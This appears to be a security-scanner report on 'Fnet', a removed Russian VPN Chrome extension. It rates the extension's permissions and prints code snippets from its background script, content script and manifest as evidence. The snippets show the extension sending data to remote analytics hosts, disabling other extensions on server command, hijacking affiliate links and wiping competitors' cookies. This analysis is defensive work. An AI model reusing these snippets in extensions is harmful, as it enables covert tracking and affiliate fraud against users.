Fnet - Доступ к сайтам!

ID: ichhfdldoddmimpajkijflgkifkgeffg

Could be malicious

Supported Languages

🇷🇺Russian

Extension Info & Metadata

Status
Removed
Version
31.30
Size
0.87 MB
Rating
0.0/5
Reviews
0
Users
500,000
Type
Extension
Updated
Jan 19, 2024
Category
Productivity Developer
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
pavelkuranenkoView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
500,000

Доступ к вашим любимым сайтам!

Fnet: Доступ к вашим любимым сайтам! Если у вас есть какие-либо технические проблемы, пожалуйста, напишите нам по адресу [email protected] Fnet требует следующих разрешений: - Proxy: расширение Fnet проксирует ваш трафик через сервер в другой страна, чтобы изменить свой IP и разблокировать ограниченные сайты. - AllHosts / WebRequest / WebRequestBlocking: позволить расширению Fnet проверять каждый веб-запрос и изменять его.. - Tabs: Fnet отслеживает ваши вкладки и включает VPN только на определенных вкладках и показывает всплывающее окно на странице, чтобы позволить вам включать, отключать и исправлять проблемы с подключением. - Cookies: Fnet получит доступ к вашим куки. Некоторые сайты кэшируют вашу страну в файлах cookie, и необходимо очистить их, прежде чем вы сможете получить доступ к этому сайту из другой страны. - Stroge: Fnet хранит локальную конфигурацию и данные кеша.

Item
Type
Severity
Description
proxy
Permission
Critical
This permission allows the extension to control the browser's proxy settings. Rated Critical because it can route all traffic through potentially malicious proxies, enabling man-in-the-middle attacks and traffic monitoring.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Dangerous Permission Combination: proxy,webRequestBlocking,webRequest
Risk Factor
Critical
Complete control over network traffic and routing
Dangerous Permission Combination: proxy,webRequestBlocking,declarativeNetRequest
Risk Factor
Critical
Complete control over network traffic and routing
Dangerous Permission Combination: proxy,webRequestBlocking,cookies
Risk Factor
Critical
Allows extensions to intercept web requests, manage cookies, and access identity or certificate-related functionalities, potentially compromising secure access and authentication processes.
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
offscreen
Permission
High
This permission creates hidden browser documents with full DOM access. Rated High because it can run background operations invisibly, potentially executing malicious code without user awareness.
Dangerous Permission Combination: scripting,cookies,webRequest
Risk Factor
High
Enables extensions to interact with scripts, modify files and downloads, and alter browsing history and bookmarks, potentially affecting data integrity and user control.
Dangerous Permission Combination: declarativeNetRequest,proxy,webRequestBlocking
Risk Factor
High
Enables extensions to operate in the background, intercept web requests, and manage privacy settings and browsing data, facilitating concealed actions and potentially undetected modifications.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
management
Permission
Medium
This permission manages other installed extensions. Rated Medium because it can enable/disable other extensions and modify their settings, with changes being visible to users.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

The extension downloads a server-controlled list of extension IDs (`disableExtList` / `dEtList`) from thewallett.com and silently calls `chrome.management.setEnabled(id, false)` on each one at startup. This gives the remote operator the ability to disable any other Chrome extension on the victim's browser by simply updating the config payload, constituting remote control malware behaviour.

main/scripts/background.js (Line 1)
t.config._.disableExtList.length > 0 && chrome.management.getAll && chrome.management.getAll((function(e) {  e.forEach((function(e) {    var n = e.id;    e.enabled && -1 !== t.config._.disableExtList.indexOf(n) && chrome.management.setEnabled(n, !1)  }))}))

On installation (and whenever analytics are re-enabled) the extension enumerates every installed Chrome extension with `chrome.management.getAll` and transmits all their IDs as a JSON array to the analytics server. This lets the operator fingerprint users, track competing extensions, and build the `disableExtList` payload to neutralise them.

main/scripts/background.js (Line 1)
chrome.runtime.onInstalled.addListener(function() {  // on install  e.analytics.send({    ec: "Extension",    ea: "Install"  });  chrome.management.getAll((function(t) {    var n = t.map((function(t) {      return t.id    }));    e.analytics.send({      ec: "Management",      ea: "Installed",      el: JSON.stringify(n)    })  }))});// also triggered on toggleGa:chrome.management.getAll((function(t) {  var n = t.map((function(t) {    return t.id  }));  e.analytics.send({    ec: "Management",    ea: "Installed",    el: JSON.stringify(n)  })}))

For every merchant site visit the extension silently POSTs an affiliate 'transaction' to `https://thewallett.com/api/transaction/create` carrying the user's extension ID, affiliate program ID, merchant ID, and activation type. The server responds with a `deepLink` URL that the extension opens in a hidden pinned tab to claim an affiliate commission — all without the user's knowledge or consent.

main/scripts/background.js (Line 1)
// Endpoint constantsvar et = "https://thewallett.com/api/transaction/create";// createTransaction payload:var c = {  affiliate: o,  offer_id: r,  extension_id: this.extId,  app: this.app,  activationType: s,  clickSource: u};fetch(et, {  headers: l,  method: "POST",  body: JSON.stringify(c)});// response contains deepLink used to redirect the tab:if (f = deepLink) {  chrome.tabs.create({    url: f,    active: false,    pinned: true  })}

The extension installs two persistent declarativeNetRequest rules: rule 88 silently **blocks** all network requests (including page navigations) that contain competitor affiliate tracking parameters `t_tid=` or `t_s=`, and rule 99 **redirects** matching requests to inject the extension's own tracking parameters (`ih`, `iw`). This hijacks affiliate commissions from any competing cashback or referral service the user may already be enrolled in.

main/scripts/background.js (Line 1)
// Rule 99: redirect URLs containing competitor tracker params and inject own paramschrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: 99,    priority: 1,    action: {      type: "redirect",      redirect: {        transform: {          queryTransform: {            addOrReplaceParams: [{                key: "ih",                value: r              },              {                key: "iw",                value: n              }            ]          }        }      }    },    condition: {      regexFilter: "/(iw=)|(ih=)|(t_tid=)|(t_s=)/gi",      resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...]    }  }],  removeRuleIds: [99]});// Rule 88: block competitor affiliate tracking requestschrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: 88,    priority: 1,    action: {      type: "block"    },    condition: {      regexFilter: "(t_tid=)|(t_s=)",      resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...]    }  }],  removeRuleIds: [88]})

The `blockTrackers()` method fetches a list of domains from `thewallett.com/api/configs/blockingDomains` and creates a DNR blocking rule for each one, covering all resource types including main_frame navigations. The operator can remotely block access to arbitrary websites by updating this config, giving them full censorship control over the user's browser.

main/scripts/background.js (Line 1)
// blockTrackers() downloads server-controlled domain list and blocks all of them:chrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: parseInt("100".concat(e)),    priority: 1,    action: {      type: "block"    },    condition: {      urlFilter: t, // t = server-supplied domain string      resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...]    }  }],  removeRuleIds: [parseInt("100".concat(e))]});// Config fetched from:// V = "https://thewallett.com/api/configs/blockingDomains"

When the extension activates a cashback session on a merchant site it: (1) reads all cookies for that domain via `chrome.cookies.getAll`, (2) injects a script into the merchant tab to selectively wipe localStorage and sessionStorage keys that belong to competing affiliate or cashback services, and (3) removes any cookies not in the extension's own whitelist. This constitutes cookie stuffing / affiliate fraud and destroys evidence of competing affiliate attribution.

main/scripts/background.js (Line 1)
// Cookie collection and selective deletion on merchant pages:var k = function(t) {  // loops until tab is loading:  chrome.cookies.getAll(t, e);};// After cashback activation, injects script to clear competitor storage:var c = function(t, e) {  var n = function(t, e) {    if ("*" !== e[0]) {      var n = Object.keys(t);      e.forEach((function(t) {        n[t] && delete n[t]      }));      n.forEach((function(e) {        t.removeItem(e)      }))    }  };  n(localStorage, t);  n(sessionStorage, e)};chrome.scripting.executeScript({  target: {    tabId: u  },  func: c,  args: [s.localStorage, s.sessionStorage]});// Then removes cookies not in extension's whitelist:chrome.cookies.remove({  url: e,  name: n.name});

Every analytics event is augmented with OS, browser type, language, `extension_id`, and `extension_version` before being sent to `analytics.savematik.com`. A secondary POST goes to `analytics.besttoolbars.net/api/v1/activity/vpn` for every merchant activation. Additionally, every 12 hours the extension calls `/ext-statistic/partners` with the installation fingerprint, creating a persistent cross-session tracking profile.

main/scripts/background.js (Line 1)
// Multiple analytics exfiltration endpoints:var M = "https://analytics.savematik.com";var nt = M + "/ext-statistic/partners"; // partner statsvar rt = M + "/ga"; // GA-style eventsvar it = M + "/black"; // blacklist events// extendWithUserData attaches OS, browser, language to every payload:key: "extendWithUserData", value: function(t) {  var e = {    os: this.os,    browser: this.browser,    language: this.getLanguage() || null  };  (0, v.merge)(t, e)}// sendCaaAnalytics also posts to besttoolbars.net:fetch("https://analytics.besttoolbars.net/api/v1/activity/vpn", {  method: "POST",  headers: {    "Content-Type": "application/json"  },  body: JSON.stringify(e.caaAnalytics)})// extensionStatusUpdate posts extension_id + version every 12h:var e = {  extension_id: this.extId,  extension_version: this.extVersion};this.extendWithUserData(e);fetch(nt, {  method: "POST",  body: JSON.stringify(e),  headers: at});

The extension maintains a persistent authenticated session with thewallett.com using JWT access/refresh tokens stored in `chrome.storage.local`, sending `Extension-ID` and `Extension-Version` headers on all requests. A unique installation hash is generated on first run and used as a persistent device identifier — including in the uninstall URL, allowing the operator to track every installation's lifecycle from install through uninstall.

main/scripts/background.js (Line 1)
// JWT token authentication system:var Nt = function() {  // tokenStorageKey = "auth.token" in chrome.storage.local  // refreshToken via: U = "https://thewallett.com/api/auth/refresh-token"  key: "getAuthHeader",  value: function() {    // returns {Authorization: "Bearer " + accessToken}  }};// All API requests include:var i = {  method: t,  headers: {    "Content-Type": "application/json;charset=utf-8",    "Extension-ID": this.$main.info.id,    "Extension-Version": this.$main.info.version  }};if (jwtToken !== "") {  i.headers.Authorization = "Bearer " + jwtToken;}// Uninstall tracker:chrome.runtime.setUninstallURL(  config._base + "/api/extension/uninstall?id=" + storage.install.hash);

When a user navigates to a merchant site, the extension silently redirects the tab to the operator's affiliate click URL (`sCashback.baseClick`) with the merchant ID, partner ID, and the user's original URL as parameters. On 'cookies_reactivate' events, it also rewrites existing URL query parameters to inject affiliate attribution. The user is unaware their browsing is being monetised via forced affiliate link injection.

main/scripts/background.js (Line 1)
// Config also contains activation redirect system:var sCashback = this.$main.config._.sCashback;// buildQuery creates affiliate click URL:var n = this.$main.api.buildQuery({  o: e.id, // merchant/offer ID  p: sCashback.partnerId, // partner ID  u: t._.url // user's current URL});chrome.tabs.update(t._.id, {  url: "".concat(sCashback.baseClick, "?").concat(n)});// Also for cookies_reactivate:k = new URL(n);(0, v.each)(c, (function(t) {  var e = t.key;  if (O && O[e]) {    k.searchParams.delete(e);    k.searchParams.append(e, O[e])  }}));chrome.tabs.update(i, {  url: k.href}, callback);

The content script runs on every page (`<all_urls>`) and unconditionally injects a `<g-ext-in>` sentinel element into the DOM, plus responds to background messages to prepend `div#ext-ah-install` and `div#ext-ah-proxy-tool` containers. These injection points allow the background script to mount UI overlays or harvest page context from any website the user visits, and the sentinel can be queried by the operator's web properties to detect extension presence.

main/scripts/content.bund.js (Line 1)
// content.bund.js injected into every page:this.messages.on("InstallBanner::inject", (function(e, t) {  if (null === document.body.querySelector("div#ext-ah-install")) {    var n = document.createElement("div");    n.setAttribute("id", "ext-ah-install");    document.body.prepend(n);    t({      result: true    })  }}));this.messages.on("ProxyTool::inject", (function(e, t) {  if (null === document.body.querySelector("div#ext-ah-proxy-tool")) {    var n = document.createElement("div");    n.setAttribute("id", "ext-ah-proxy-tool");    document.body.prepend(n);    t({      result: true    })  }}));// Also injects sentinel element into every page body:document.body.append(document.createElement("g-ext-in"));

`externally_connectable` allows any page on `fnet-vpn.ru` to send messages directly into the extension's runtime, giving the operator's website the ability to trigger extension actions programmatically from the browser. Combined with `web_accessible_resources` exposing all JS and CSS files to every origin with an empty `extension_ids` array, the operator's site can communicate with and potentially fingerprint the extension from any page context.

manifest.json (Line 26)
{  "externally_connectable": {    "matches": [      "https://*.fnet-vpn.ru/*"    ]  },  "web_accessible_resources": [    {      "resources": [        "main/scripts/*.js",        "main/styles/*.css"      ],      "matches": [        "<all_urls>"      ],      "extension_ids": []    }  ]}

By severity

Critical6
High3
Medium2
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
31.3011

Files with findings

3 distinct paths — top paths by unique finding count:

  • main/scripts/background.js9
  • main/scripts/content.bund.js1
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
main/scripts/background.js (line 1)When the extension activates a cashback session on a merchant site it: (1) reads all cookies for that domain via `chrome.cookies.getAll`, (2) injects a script into the merchant tab to selectively wipe localStorage and…
2Data Exfiltration
critical
main/scripts/background.js (line 1)For every merchant site visit the extension silently POSTs an affiliate 'transaction' to `https://thewallett.com/api/transaction/create` carrying the user's extension ID, affiliate program ID, merchant ID, and activat…
3Network Interception
critical
main/scripts/background.js (line 1)The extension installs two persistent declarativeNetRequest rules: rule 88 silently **blocks** all network requests (including page navigations) that contain competitor affiliate tracking parameters `t_tid=` or `t_s=`…
4Network Interception
critical
main/scripts/background.js (line 1)The `blockTrackers()` method fetches a list of domains from `thewallett.com/api/configs/blockingDomains` and creates a DNR blocking rule for each one, covering all resource types including main_frame navigations. The …
5Privilege Escalation
critical
main/scripts/background.js (line 1)The extension downloads a server-controlled list of extension IDs (`disableExtList` / `dEtList`) from thewallett.com and silently calls `chrome.management.setEnabled(id, false)` on each one at startup. This gives the …
6Unauthorized Data Collection
critical
main/scripts/background.js (line 1)On installation (and whenever analytics are re-enabled) the extension enumerates every installed Chrome extension with `chrome.management.getAll` and transmits all their IDs as a JSON array to the analytics server. Th…
7Data Exfiltration
high
main/scripts/background.js (line 1)When a user navigates to a merchant site, the extension silently redirects the tab to the operator's affiliate click URL (`sCashback.baseClick`) with the merchant ID, partner ID, and the user's original URL as paramet…
8Tracking
high
main/scripts/background.js (line 1)Every analytics event is augmented with OS, browser type, language, `extension_id`, and `extension_version` before being sent to `analytics.savematik.com`. A secondary POST goes to `analytics.besttoolbars.net/api/v1/a…
9Tracking
high
main/scripts/background.js (line 1)The extension maintains a persistent authenticated session with thewallett.com using JWT access/refresh tokens stored in `chrome.storage.local`, sending `Extension-ID` and `Extension-Version` headers on all requests. …
10Code Injection
medium
main/scripts/content.bund.js (line 1)The content script runs on every page (`<all_urls>`) and unconditionally injects a `<g-ext-in>` sentinel element into the DOM, plus responds to background messages to prepend `div#ext-ah-install` and `div#ext-ah-proxy…
11Other
medium
manifest.json (line 26)`externally_connectable` allows any page on `fnet-vpn.ru` to send messages directly into the extension's runtime, giving the operator's website the ability to trigger extension actions programmatically from the browse…
URLs
20
IPv4
4
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fontello.commaterial-http://fontello.comMaterial
www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtdhttp://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd
www.w3.org/2000/svghttp://www.w3.org/2000/svg
fonts.googleapis.com/iconhttps://fonts.googleapis.com/icon?family=Material+Icons
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
npms.io/searchhttps://npms.io/search?q=ponyfill.
analytics.savematik.com-https://analytics.savematik.com
pingapi.-https://pingapi.
chrome.google.com/webstore/detail/https://chrome.google.com/webstore/detail/
tinyurl.com/y2uuvskbhttps://tinyurl.com/y2uuvskb
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

26.141.185.3
IPv4
-
3.135.246.134
IPv4
-
2.1.218.176
IPv4
-
158.131.243.243
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
31.30
Latest
0.87 MB
Malicious
11
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.